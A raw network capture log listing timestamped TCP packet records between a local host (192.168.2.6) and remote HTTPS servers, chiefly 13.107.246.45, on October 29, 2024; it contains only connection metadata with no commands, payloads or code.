Oct 29, 2024 15:27:09.948487997 CET	49711	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:09.948501110 CET	443	49711	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:09.948561907 CET	49711	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:09.948576927 CET	49711	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:10.023874998 CET	443	49711	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:10.023991108 CET	443	49711	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:10.024002075 CET	49711	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:10.024071932 CET	49711	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:10.050765038 CET	49711	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:10.050776005 CET	443	49711	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:10.050811052 CET	49711	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:10.050816059 CET	443	49711	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:10.101083040 CET	49712	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:10.101208925 CET	443	49712	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:10.101335049 CET	49712	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:10.102029085 CET	49713	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:10.102092981 CET	443	49713	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:10.102158070 CET	49713	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:10.102483034 CET	49714	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:10.102508068 CET	443	49714	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:10.102586031 CET	49714	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:10.102818966 CET	49712	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:10.102854013 CET	443	49712	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:10.102933884 CET	49715	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:10.102943897 CET	443	49715	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:10.103035927 CET	49715	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:10.103357077 CET	49715	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:10.103377104 CET	443	49715	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:10.103389025 CET	49713	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:10.103399038 CET	443	49713	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:10.103557110 CET	49714	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:10.103584051 CET	443	49714	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:10.104441881 CET	49716	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:10.104460001 CET	443	49716	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:10.104517937 CET	49716	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:10.104655027 CET	49716	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:10.104667902 CET	443	49716	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:10.823956013 CET	443	49715	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:10.824639082 CET	49715	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:10.824667931 CET	443	49715	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:10.825263977 CET	49715	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:10.825272083 CET	443	49715	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:10.830502033 CET	443	49714	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:10.830539942 CET	443	49713	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:10.830914021 CET	49714	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:10.831001043 CET	443	49714	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:10.831152916 CET	49713	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:10.831170082 CET	443	49713	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:10.831537962 CET	49714	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:10.831553936 CET	443	49714	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:10.831785917 CET	49713	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:10.831792116 CET	443	49713	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:10.849850893 CET	443	49712	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:10.850749969 CET	443	49716	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:10.851361036 CET	49712	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:10.851358891 CET	49716	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:10.851388931 CET	443	49716	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:10.851393938 CET	443	49712	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:10.851824045 CET	49716	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:10.851829052 CET	443	49716	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:10.851892948 CET	49712	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:10.851902008 CET	443	49712	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:10.955770969 CET	443	49715	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:10.955796957 CET	443	49715	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:10.955856085 CET	443	49715	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:10.955945015 CET	49715	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:10.955981016 CET	49715	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:10.956243992 CET	49715	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:10.956269026 CET	443	49715	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:10.956279993 CET	49715	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:10.956285000 CET	443	49715	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:10.958317995 CET	443	49713	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:10.958506107 CET	443	49713	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:10.958576918 CET	49713	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:10.958736897 CET	49713	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:10.958741903 CET	443	49713	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:10.958751917 CET	49713	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:10.958755016 CET	443	49713	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:10.959095001 CET	49717	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:10.959131002 CET	443	49714	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:10.959156990 CET	443	49717	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:10.959160089 CET	443	49714	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:10.959227085 CET	443	49714	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:10.959249973 CET	49717	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:10.959254026 CET	49714	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:10.959300995 CET	49714	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:10.959378004 CET	49717	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:10.959389925 CET	443	49717	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:10.959429979 CET	49714	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:10.959470034 CET	443	49714	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:10.959496975 CET	49714	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:10.959511995 CET	443	49714	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:10.961050034 CET	49718	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:10.961081982 CET	443	49718	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:10.961149931 CET	49718	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:10.961294889 CET	49718	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:10.961308956 CET	443	49718	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:10.961395025 CET	49719	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:10.961407900 CET	443	49719	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:10.961472988 CET	49719	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:10.961558104 CET	49719	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:10.961580992 CET	443	49719	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:10.981631041 CET	443	49712	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:10.981823921 CET	443	49712	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:10.981919050 CET	49712	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:10.982039928 CET	49712	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:10.982053041 CET	443	49712	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:10.982064962 CET	49712	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:10.982069969 CET	443	49712	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:10.984019995 CET	49720	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:10.984050035 CET	443	49720	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:10.984138012 CET	49720	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:10.984255075 CET	49720	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:10.984272957 CET	443	49720	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:10.984402895 CET	443	49716	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:10.984428883 CET	443	49716	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:10.984467983 CET	443	49716	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:10.984494925 CET	49716	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:10.984533072 CET	49716	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:10.984625101 CET	49716	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:10.984636068 CET	443	49716	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:10.984648943 CET	49716	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:10.984657049 CET	443	49716	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:10.986358881 CET	49721	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:10.986396074 CET	443	49721	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:10.986637115 CET	49721	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:10.986773014 CET	49721	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:10.986788988 CET	443	49721	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:11.692702055 CET	443	49717	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:11.693217993 CET	49717	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:11.693236113 CET	443	49717	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:11.693267107 CET	443	49719	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:11.693778992 CET	49717	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:11.693785906 CET	443	49717	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:11.694092035 CET	49719	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:11.694101095 CET	443	49719	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:11.694511890 CET	49719	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:11.694519043 CET	443	49719	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:11.694644928 CET	443	49718	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:11.694917917 CET	49718	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:11.694931984 CET	443	49718	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:11.695296049 CET	49718	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:11.695302010 CET	443	49718	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:11.704869032 CET	443	49720	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:11.705266953 CET	49720	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:11.705284119 CET	443	49720	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:11.705647945 CET	49720	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:11.705656052 CET	443	49720	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:11.759757996 CET	443	49721	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:11.760178089 CET	49721	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:11.760198116 CET	443	49721	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:11.760623932 CET	49721	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:11.760632038 CET	443	49721	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:11.824476957 CET	443	49719	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:11.824789047 CET	443	49719	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:11.824870110 CET	49719	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:11.824945927 CET	49719	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:11.824971914 CET	443	49719	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:11.824986935 CET	49719	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:11.824995041 CET	443	49719	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:11.825563908 CET	443	49718	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:11.826702118 CET	443	49718	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:11.826760054 CET	49718	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:11.826788902 CET	443	49717	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:11.826831102 CET	443	49717	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:11.826853037 CET	49718	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:11.826860905 CET	443	49718	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:11.826881886 CET	49717	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:11.827877998 CET	49722	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:11.827905893 CET	49717	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:11.827908993 CET	443	49722	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:11.827919006 CET	443	49717	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:11.827920914 CET	49717	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:11.827927113 CET	443	49717	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:11.827996016 CET	49722	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:11.828217030 CET	49722	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:11.828229904 CET	443	49722	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:11.829263926 CET	49723	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:11.829296112 CET	443	49723	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:11.829363108 CET	49723	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:11.829477072 CET	49723	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:11.829494953 CET	443	49723	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:11.829889059 CET	49724	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:11.829911947 CET	443	49724	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:11.830023050 CET	49724	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:11.830104113 CET	49724	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:11.830111980 CET	443	49724	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:11.834806919 CET	443	49720	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:11.834857941 CET	443	49720	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:11.834903955 CET	49720	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:11.835041046 CET	49720	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:11.835041046 CET	49720	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:11.835051060 CET	443	49720	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:11.835059881 CET	443	49720	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:11.836951017 CET	49725	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:11.837037086 CET	443	49725	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:11.837119102 CET	49725	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:11.837265015 CET	49725	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:11.837302923 CET	443	49725	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:11.896646023 CET	443	49721	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:11.896699905 CET	443	49721	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:11.896816015 CET	49721	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:11.930471897 CET	49721	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:11.930505037 CET	443	49721	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:11.930561066 CET	49721	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:11.930571079 CET	443	49721	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:11.934124947 CET	49726	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:11.934148073 CET	443	49726	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:11.934220076 CET	49726	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:11.934434891 CET	49726	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:11.934449911 CET	443	49726	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:12.570611000 CET	443	49722	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:12.574989080 CET	443	49723	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:12.576608896 CET	443	49725	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:12.576997995 CET	49722	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:12.577016115 CET	443	49722	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:12.577846050 CET	49722	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:12.577853918 CET	443	49722	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:12.578377962 CET	49723	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:12.578402042 CET	443	49723	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:12.579035997 CET	49723	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:12.579044104 CET	443	49723	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:12.579304934 CET	49725	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:12.579381943 CET	443	49725	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:12.579854012 CET	49725	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:12.579869986 CET	443	49725	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:12.580200911 CET	443	49724	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:12.580630064 CET	49724	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:12.580640078 CET	443	49724	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:12.581418991 CET	49724	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:12.581424952 CET	443	49724	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:12.669264078 CET	443	49726	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:12.705698967 CET	443	49722	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:12.706027031 CET	443	49722	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:12.706121922 CET	49722	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:12.706142902 CET	443	49723	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:12.706602097 CET	443	49723	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:12.706650019 CET	49723	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:12.712795019 CET	443	49725	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:12.712852955 CET	443	49725	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:12.712907076 CET	49725	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:12.713038921 CET	443	49724	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:12.713084936 CET	443	49724	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:12.713134050 CET	49724	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:12.717926979 CET	49726	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:12.810492039 CET	49726	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:12.810499907 CET	443	49726	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:12.811036110 CET	49726	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:12.811039925 CET	443	49726	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:12.811186075 CET	49725	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:12.811269045 CET	49724	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:12.811271906 CET	443	49725	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:12.811280966 CET	443	49724	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:12.811336994 CET	49724	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:12.811337948 CET	49725	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:12.811342955 CET	443	49724	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:12.811358929 CET	443	49725	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:12.813743114 CET	49722	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:12.813757896 CET	443	49722	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:12.813770056 CET	49722	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:12.813775063 CET	443	49722	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:12.814584970 CET	49723	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:12.814585924 CET	49723	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:12.814619064 CET	443	49723	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:12.814634085 CET	443	49723	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:12.818351984 CET	49727	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:12.818423986 CET	443	49727	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:12.818506956 CET	49727	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:12.818636894 CET	49727	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:12.818658113 CET	443	49727	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:12.819996119 CET	49728	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:12.820031881 CET	443	49728	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:12.820101976 CET	49728	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:12.821222067 CET	49729	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:12.821239948 CET	443	49729	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:12.821358919 CET	49729	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:12.821419001 CET	49729	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:12.821438074 CET	443	49729	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:12.821672916 CET	49728	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:12.821702003 CET	443	49728	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:12.822282076 CET	49730	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:12.822319031 CET	443	49730	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:12.822401047 CET	49730	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:12.822565079 CET	49730	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:12.822588921 CET	443	49730	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:12.950467110 CET	443	49726	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:12.950524092 CET	443	49726	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:12.950828075 CET	49726	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:12.985137939 CET	49726	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:12.985137939 CET	49726	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:12.985152960 CET	443	49726	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:12.985162020 CET	443	49726	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:12.988903046 CET	49731	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:12.988930941 CET	443	49731	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:12.989000082 CET	49731	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:12.992733002 CET	49731	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:12.992748976 CET	443	49731	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:13.452295065 CET	49673	443	192.168.2.6	173.222.162.64
Oct 29, 2024 15:27:13.452308893 CET	49674	443	192.168.2.6	173.222.162.64
Oct 29, 2024 15:27:13.827311039 CET	49672	443	192.168.2.6	173.222.162.64
Oct 29, 2024 15:27:13.857726097 CET	443	49729	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:13.858423948 CET	49729	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:13.858433008 CET	443	49729	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:13.858926058 CET	49729	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:13.858937979 CET	443	49729	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:13.859127045 CET	443	49728	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:13.859417915 CET	49728	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:13.859483957 CET	443	49728	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:13.859819889 CET	49728	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:13.859838009 CET	443	49728	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:13.862320900 CET	443	49731	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:13.862477064 CET	443	49727	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:13.862632990 CET	49731	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:13.862656116 CET	443	49731	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:13.862996101 CET	49731	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:13.862999916 CET	443	49731	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:13.863708973 CET	49727	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:13.863725901 CET	443	49727	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:13.864135027 CET	49727	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:13.864145994 CET	443	49727	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:13.865475893 CET	443	49730	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:13.865912914 CET	49730	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:13.865940094 CET	443	49730	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:13.866271019 CET	49730	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:13.866282940 CET	443	49730	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:13.993819952 CET	443	49728	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:13.993891001 CET	443	49728	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:13.994009018 CET	49728	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:13.996428013 CET	443	49727	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:13.996543884 CET	443	49727	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:13.996609926 CET	49727	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:13.998840094 CET	443	49731	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:13.998900890 CET	443	49731	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:13.998963118 CET	49731	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:14.002954006 CET	49728	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:14.002998114 CET	443	49728	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:14.003027916 CET	49728	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:14.003045082 CET	443	49728	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:14.003124952 CET	49727	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:14.003124952 CET	49727	443	192.168.2.6	13.107.246.45
